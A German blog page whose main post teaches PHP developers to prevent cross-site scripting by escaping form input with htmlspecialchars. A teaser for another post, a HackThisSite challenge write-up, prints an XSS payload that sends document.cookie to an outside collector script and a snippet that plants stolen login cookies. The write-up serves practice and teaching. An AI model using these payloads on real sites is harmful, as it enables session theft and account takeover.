Direkt zum Hauptbereich

PHP Skripte absichern

Bei PHP ist es immer dann Kritisch sobald Benutzereingaben
erfolgen.
Durch SQL injection & co sind die meisten Entwickler schon
aufmerksam wenn Sie Benutzereingaben an eine Datenbank
weiterreichen. Leider setzt diese Aufmerksamkeit häufig aus
sobald die Daten nicht an die Datenbank sondern nur auf dem
Bildschirm wieder ausgegeben werden.

Als Beispiel nehmen wir hier mal ein Suchformular, wie bei google.
Bei einem Fehler, oder wenn das Skript nichts findet wird der
Suchstring wieder in das Suchformular eingesetzt und der
Benutzer sieht wieder das Suchformular mit seinem Suchwort im
Suchfeld. ( Download Beispielskript)


Genau in diesem Szenario sind viele noch zu Leichtsinnig. Ja die Daten
machen nichts am Server und Datenbank. Aber der Benutzer kann
hier Opfer einer XSS (Cross Site Scripting) Attacke werden.
Wenn die Benutzereingabe wie so oft nur schlecht oder garnicht geschützt
werden.

Sich nur auf das Modul Magic Quotes von PHP zu verlassen, sofern aktiviert,
reicht leider nicht aus. Es entfernt oder besser es escaped zwar ", ' \ und NULL
charactäre. Es macht den HTML Sonderzeichen aber nichts. Also
<, >
Mit diesen kann ich ebenfalls den input tag beenden. Aber alles nacheinander.

Hier stelle ich nun 2 Beispielhafte Formularverarbeitungen mit PHP vor.
Es soll dabei lediglich um die Benutzereingabe gehen und wie man sich am einfachsten und doch effektiv vor XSS Schützen kann.
Als erstes mal die Schlechte Verarbeitungsmethode:

$textinBoxU = $_GET['Text'];

Nur eine Zuweisung vom übergebenen Text. Ohne jede Überprüfung.
Dabei wäre der es besser folgendes in den Code zu schreiben:

$textinBoxU = htmlspecialchars($_GET['Text'] , ENT_QUOTES);

So damit wäre das Skript vor einem XSS Angriff relativ sicher. Ganz sicher ist
man ja nie, wer weiß was noch kommt.
Mit htmlspecialchars werden alle HTML Sonderzeichen in HTML-Code um.
Hier eine kleine gegenüberstellung. Oben die HTML Sonderzeichen und unten im HTML-Code damit jeder weiß was gemeint ist. Durch die Optionale Angabe von quote_style "ENT_QUOTES" gebe ich an dass auch das einfache Anführungszeichen
umgewandelt wird.


> < " '
&gt; &lt;   &quot;  &#039;


Ich habe hier noch ein kleines Beispielformular mit PHP Code um eigene
Experimente zu machen und vor allem um den Unterschied nochmals
aufzuzeigen. Also zwischen unsicher und sicher. Also dann auf gutes
Programmieren und vor allem auf sichereres Programmieren.


Weiterführende Links:

PHP Magic Quotes Modul, ab Version 6 ist es weg
PHP htmlspecialchars auf php.net
PHP htmlentities auf php.net


Die Downloads hier in meinem Blog laufen alle über den RapidShare Server.
Um die Daten herunterzuladen muss nichts bezahlt werden und man muss sich
auch nirgends Anmelden. Das hat den Sinn dass ich mir hier die Arbeit Spare ;-)

Kommentare

Beliebte Posts aus diesem Blog

HTS realistic 9, the Codes for the Challenge!

Here are the javascript codes for HTS Level 9: 1. code, take a look at the cookie: javascript:alert(document.cookie); 2. The xss exploit insert into the message to mr. crap: </textarea> <script>window.location="http://getTheScript/getcookiemailer.php?keks="+document.cookie;</script> 3. The code to use the stolen cookie data: javascript:document.cookie="strUsername=m-crap%40crappysoft.com";document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c";document.cookie="intID=1"; Now you can move the money!! 4. Deleting the session data. Log out and go to the main page of crappy soft. Go to the mailing list form. Now you need an Firefox extension like UrlParams or an Proxy with freeze function. Or you manipulate the Post data with an faked http header. How to fake http header with PHP you can take a look at this page: http://hack1n9.blogspot.com/2008/06/hackthissiteorg-level-5-basic-lsung.html But it is written in german. The faste...

Linearen Notenschlüssel mit nodejs berechnen

Linearen Notenschlüssel berechnen / Method chaining in nodejs Hintergrund/Motivation: Ein kleines altes Nebenprojekt von mir war eine Schüler/Notenverwaltung Software in Java geschrieben. Das kleine Programm ist etwas in die Jahre gekommen und da wollte ich kleine teile von der Software nach nodejs portieren und es etwas auffrischen. Und zum start habe ich die Berechnung der Noten nach einem Linearen Notenschlüssel portiert. Also die dahinter liegende Klasse. Kurze Beschreibung der Eigenschaften der Klasse: Die Klasse soll die Berechnung anhand der Maximalen zu erreichenden Punkzahl und der erreichten Punkzahl des Schülers berechnen. Es gibt folgende Attribute: defaultPoints => fallback falls maxPoints nicht gesetzt wird maxPoints => Maximal zu erreichende Punkte im Test/Arbeit reachedPonts => Erreichte Punktzahl des Schülers Darüber hinaus sollen die setter der Klasse via   Method chaining  einfacher und kürzer aufrufbar sein, hierzu ein kleiner Pse...

Magento - Simple Google Shopping - Add PHP code direct in XML Template

Magento - Extension "Simple Google Shopping" von wyomind Um das Template anzupassen gibt es hier auch die Möglichkeit PHP code direkt in das XML Template zu schreiben.  Dies kann hilfreich sein wenn man Felder aus Magento ändern möchte und dazu ein if Konstrukt benötigt. Hier ein Beispielhaftes Template für Simple Google Shopping mit PHP code direkt im template: Wichtig: der code muss ein "return" statement besitzen. Denn nur der Wert welcher vom PHP Block returned wird, ist nacher im google shopping XML file vorhanden.   Simple Google Shopping Extension